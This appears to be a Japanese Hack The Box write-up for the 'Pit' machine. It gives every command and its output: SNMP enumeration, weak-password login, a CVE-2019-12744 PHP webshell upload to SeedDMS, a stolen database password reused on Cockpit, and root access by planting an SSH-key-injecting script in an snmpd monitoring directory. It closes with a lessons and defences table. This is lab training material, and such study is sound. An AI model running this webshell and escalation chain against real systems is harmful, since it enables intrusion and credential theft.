Hack The BoxのWriteup(Pit)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Pit — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/9090
SNMP public 列挙
SeedDMSパス+michelle発見
SeedDMS ログイン
michelle:michelle
CVE-2019-12744
未認証アップロードRCE
settings.xml dbPass窃取
michelleと共通
Cockpit経由 user.txt ✓
snmpd extend ACL悪用
check_key.sh設置
SSH root.txt ✓

全ポートスキャン

BASH
nmap -Pn -sV -sC -T4 --max-retries 2 -p- --min-rate 2000 10.129.228.106
RESULT
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.0
80/tcp   open  http     nginx 1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open  ssl/http Cockpit web service 221 - 253
| ssl-cert: Subject: commonName=dms-pit.htb
Service Info: OS: Linux
ℹ️
80番はnginxのデフォルトページのみで一見手掛かりが無いが、9090番の Cockpit (Webベースのシステム管理コンソール) のTLS証明書 CN が dms-pit.htb を 指しており、実際のアプリケーションはこのvhost名でのみ動作していることが分かる。
PHASE 2

SNMP public コミュニティで内部情報を列挙

UDP 161 の SNMP を public コミュニティで列挙

BASH
snmpwalk -c public -v2c 10.129.228.106
RESULT (抜粋)
UCD-SNMP-MIB::dskPath.1 = STRING: /var/www/html/seeddms51x/seeddms
NET-SNMP-EXTEND-MIB (extend "monitoring") 実行結果:
  System release info: CentOS Linux release 8.3.2011
  SELinux Settings (login → SELinux User マッピング):
    michelle             user_u               s0                   *
    root                 unconfined_u         s0-s0:c0.c1023       *
🚨
重要発見: SNMPのディスクパス情報から SeedDMS のインストール先 (/var/www/html/seeddms51x/seeddms) が判明。さらに監視スクリプトの出力 (root権限で実行される “monitoring” extend) から SELinux ログインマッピング経由で システムユーザー michelle の存在が漏洩している。

/etc/hosts へ dms-pit.htb を登録

BASH
echo "10.129.228.106 dms-pit.htb" | sudo tee -a /etc/hosts
PHASE 3

SeedDMS へ弱いパスワードでログイン

michelle:michelle でログイン (推測可能な弱いパスワード)

BASH
curl -s -c cookies.txt --max-time 10 \
  -d "login=michelle&pwd=michelle" \
  http://dms-pit.htb/seeddms51x/seeddms/op/op.Login.php
🚨
最大のハマりどころ: ログインフォームの表示自体は out/out.Login.php だが、実際にフォームを処理するのは <form action="../op/op.Login.php"> が示す通り op/op.Login.phpout.Login.php へ直接 POST しても、エラーメッセージも出さずに同じログインフォームをそのまま再表示するだけという 非常に気づきにくい失敗モードになる (SeedDMS の “out=表示専用” / “op=処理専用” という 命名規則を知っていないと詰まりやすい)。
RESULT
"Signed in as 'Michelle'" — ログイン成功
PHASE 4

CVE-2019-12744 未認証アップロードRCE → Cockpit経由 user.txt

フォルダツリーを辿り Michelle 所有フォルダを特定 (AJAX非同期ロード)

BASH
# out.ViewFolder.php?folderid=1 を素のGETで取得しても中身は空
# (静的HTMLには <div class="ajax" data-action="folderList" ...> のプレースホルダのみ)
# 実際の一覧は &action=folderList を付与した別リクエストで非同期取得する必要がある
curl -s -b cookies.txt "http://dms-pit.htb/seeddms51x/seeddms/out/out.ViewFolder.php?action=folderList&folderid=1&orderby=u"
RESULT (階層を辿った結果)
DMS (folderid=1)
└─ Docs (folderid=6, Owner: Administrator)
   └─ Users (folderid=7)
      ├─ Michelle (folderid=8)  ← 書込先
      └─ Jack (folderid=9)
⚠️
ハマりどころ: “Users” フォルダ(id=7)の一覧には子フォルダの “Owner: Michelle” という表示が含まれるため、ページ全体に対して緩く “michelle” という単語の有無だけで判定すると、Users フォルダ自体を 誤って「Michelleのフォルダ」と誤認してしまう。フォルダ名そのものが “Michelle” であるリンクを厳密に探す必要がある。

webshell を PHP ドキュメントとしてアップロード

PYTHON (webshell)
webshell_php = """<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    system($_REQUEST['cmd']);
    echo "</pre>";
    die;
}
?>"""
BASH (アップロード)
# フォームの hidden フィールド (formtoken 等) を先にスクレイピングしてから送信
curl -s -b cookies.txt --max-time 20 \
  -F "folderid=8" -F "navBar=1" -F "formtoken=<スクレイピング値>" -F "showtree=1" \
  -F "name=myshell" -F "comment=" -F "sequence=1" -F "reqversion=1" \
  -F "userfile[]=@shell.php;type=application/x-php;filename=myshell.php" \
  "http://dms-pit.htb/seeddms51x/seeddms/op/op.AddDocument.php"
🚨
複合的なハマりどころ:
① フォーム表示は out/out.AddDocument.php だが、実処理は ログイン同様 op/op.AddDocument.php
② フォームには <select name="sequence"> という プルダウンがあり、UI上は「順序機能は設定で無効化されています」と表示されるが、 実際にはこの値が必須パラメータで、欠落すると Invalid sequence value エラーで即座に失敗する (type=”hidden” ではないため hidden フィールドの スクレイピングだけでは拾えない)。
③ バージョン番号のフィールド名は “version” ではなく実際には “reqversion”

アップロード後の documentid 特定 & 物理パスの特定

BASH
# op.AddDocument.php は成功時 302 リダイレクトを返すのみで documentid を含まない
# → フォルダ一覧を再取得しファイル名で一致するドキュメントを探す
curl -s -b cookies.txt "http://dms-pit.htb/seeddms51x/seeddms/out/out.ViewFolder.php?action=folderList&folderid=8&orderby=u" \
  | grep -o 'documentid=[0-9]*[^>]*>\s*myshell'
BASH (物理パスへの直接アクセス — nginxは.htaccessを無視)
# 5.1.11以降の公式パッチはdata/ディレクトリへの.htaccess追加のみだが
# Webサーバがnginxのため.htaccessは一切効力を持たず、実質未パッチのまま
curl -s "http://dms-pit.htb/seeddms51x/data/1048576/<documentid>/1.php?cmd=id"
🚨
最も見つけにくいハマりどころ: data/ ディレクトリは 直感に反して <webroot>/seeddms/data/ ではなく <webroot>/data/ (= seeddms/ ディレクトリの 兄弟ディレクトリ) に存在する。conf/ ディレクトリも 同様に兄弟ディレクトリに存在する。これに気づかず素直に seeddms/data/... へアクセスすると全て404になり、 「アップロード自体が失敗した」と誤診断しやすい。
RESULT
uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0

settings.xml から DB パスワードを窃取

BASH
curl -s "http://dms-pit.htb/seeddms51x/data/1048576/<id>/1.php?cmd=cat+/var/www/html/seeddms51x/conf/settings.xml"
RESULT
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms"
  dbUser="seeddms" dbPass="ied^ieY6xoquu" />
ℹ️
SELinux (httpd_t confined) により nginx から /home/root への直接アクセスは “Permission denied” で拒否される (bind/reverseシェルも同様に制限される)。このため直接シェルを取るのではなく、 DBパスワードを窃取してmichelleのシステムパスワードとして横展開する。

Cockpit (9090) 経由でシェルアクセスし user.txt 取得

PYTHON (cockpit-bridge WebSocket プロトコル)
import websocket, json, ssl, base64, requests

basic = base64.b64encode(b"michelle:ied^ieY6xoquu").decode()
r = requests.get(f"https://{target}:9090/cockpit/login",
                  headers={"Authorization": f"Basic {basic}"}, verify=False)
cookie = r.headers["Set-Cookie"].split(";")[0]

ws = websocket.create_connection(f"wss://{target}:9090/cockpit/socket",
    header=[f"Cookie: {cookie}"], sslopt={"cert_reqs": ssl.CERT_NONE})
ws.recv()
ws.send("\n" + json.dumps({"command": "init", "version": 1}))
ws.send("\n" + json.dumps({
    "command": "open", "channel": "1", "payload": "stream",
    "spawn": ["bash", "-c", "cat /home/michelle/user.txt"],
    "environ": ["LANG=en_US.UTF-8"],
}))
# フレームを受信して "channel\n<出力>" 形式のデータを蓄積
RESULT
uid=1000(michelle) gid=1000(michelle) groups=1000(michelle) context=user_u:user_r:user_t:s0
e3f36a681f3a07a5f3619d01faea44bd
user.txt — michelle
e3f36a681f3a07a5f3619d01faea44bd
PHASE 5

snmpd extend の ACL 書込権限を悪用して root.txt

/usr/local/monitoring/ の ACL 確認

BASH (Cockpit経由シェル内)
getfacl /usr/local/monitoring/
RESULT
# file: usr/local/monitoring/
# owner: root
# group: root
user::rwx
user:michelle:-wx
group::rwx
mask::rwx
other::---
🚨
重大発見: ディレクトリ自体は root:root drwxrwx--- だが、 ACL で michelle書込+実行 (-wx) 権限が付与されている (読取 r は無いため ls による一覧表示はできないが、 ファイル名を知っていれば新規作成・書込は可能)。このディレクトリ内の check*.sh スクリプトは、snmpd の “monitoring” extend 経由で root 権限により全実行される。

攻撃者公開鍵を追記する check_key.sh を設置

BASH
ssh-keygen -t rsa -b 2048 -N "" -f pit_root_key

# Cockpit経由シェルで書き込み (ACLの-wxのみで作成・書込は成功する)
echo 'echo "<公開鍵>" >> /root/.ssh/authorized_keys' \
  > /usr/local/monitoring/check_key.sh
chmod +x /usr/local/monitoring/check_key.sh
ℹ️
実機検証では chmod +x 自体は失敗する (ファイルの所有者権限の関係で michelle は実行属性を変更できない) が、これは問題にならない。snmpd の “monitoring” extend が呼び出す /usr/bin/monitorcheck*.sh を直接 execve するのではなく bash check_key.sh のようにシェル経由で実行するため、ファイル自体の実行ビットは不要。

SNMP walk で monitoring extend をトリガー

BASH
snmpwalk -c public -v2c 10.129.228.106 .1.3.6.1.4.1.8072.1.3.2.3.1.2.10.109.111.110.105.116.111.114.105.110.103
ℹ️
このOIDへの問い合わせが root 権限で /usr/bin/monitor (延いては /usr/local/monitoring/ 配下の全スクリプト) の実行をトリガーする。 check_key.sh が実行され、攻撃者の公開鍵が /root/.ssh/authorized_keys に root 権限で追記される。

root として SSH ログイン & root.txt 取得

BASH
ssh -i pit_root_key root@10.129.228.106 "cat /root/root.txt"
RESULT
e85805b097ee14442b4b99193ab17d63
root.txt — root
e85805b097ee14442b4b99193ab17d63
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — michelle
e3f36a681f3a07a5f3619d01faea44bd
root.txt — root
e85805b097ee14442b4b99193ab17d63

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SNMP public コミュニティ net-snmp (161/UDP) 内部情報漏洩 Medium SeedDMSインストールパス・ユーザー名michelleの漏洩
弱いパスワード SeedDMS ログイン 認証バイパス Medium michelle:michelle という推測可能な組み合わせ
CVE-2019-12744 SeedDMS 5.1.10 (未認証アップロード) リモートコード実行 (nginx権限) Critical PHP webshellをドキュメントとしてアップロードし、nginxが.htaccessを無視することを悪用して直接実行
パスワード使い回し MySQL / michelle システムアカウント 横展開 (nginx → michelle) Medium settings.xmlのdbPassがmichelleのCockpit/システムログインパスワードと共通
ACLの過剰な書込権限 /usr/local/monitoring/ (snmpd extend) 権限昇格 (michelle → root) High root権限で実行される監視スクリプトディレクトリへの書込ACLを悪用しSSHキーを注入

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポートスキャン22/80/9090、dms-pit.htb vhost発見
2SNMP列挙snmpwalk publicSeedDMSパス、michelleユーザー名
3ログイン弱いパスワード推測SeedDMS michelle:michelle アクセス
4エクスプロイトCVE-2019-12744 + nginx直接アクセスuser.txt (Cockpit経由)
5権限昇格snmpd extend + ACL悪用root.txt

学んだ教訓 & 防御策

問題点防御策
SNMP public コミュニティが有効で内部情報が漏洩 SNMPコミュニティ文字列を推測困難な値に変更、または不要なら無効化する。
推測可能な弱いパスワード (michelle:michelle) パスワードポリシーを強制し、ユーザー名と同一のパスワードを禁止する。
SeedDMS 5.1.11のパッチが.htaccessベースでnginx環境では無効化されている Webサーバの種類に関わらず有効なアプリケーションレベルの修正を適用する(最新版へのアップデート)。
アプリケーションDBパスワードとOSアカウントパスワードが同一 アプリケーションアカウントとOSアカウントでパスワードを分離する。
root権限で実行されるスクリプトディレクトリへのACL書込権限が一般ユーザーに付与されている root権限で実行されるファイル・ディレクトリへの書込権限は厳格に制限し、ACLの設定を定期的に監査する。
HackTheBox: Pit | 完全攻略レポート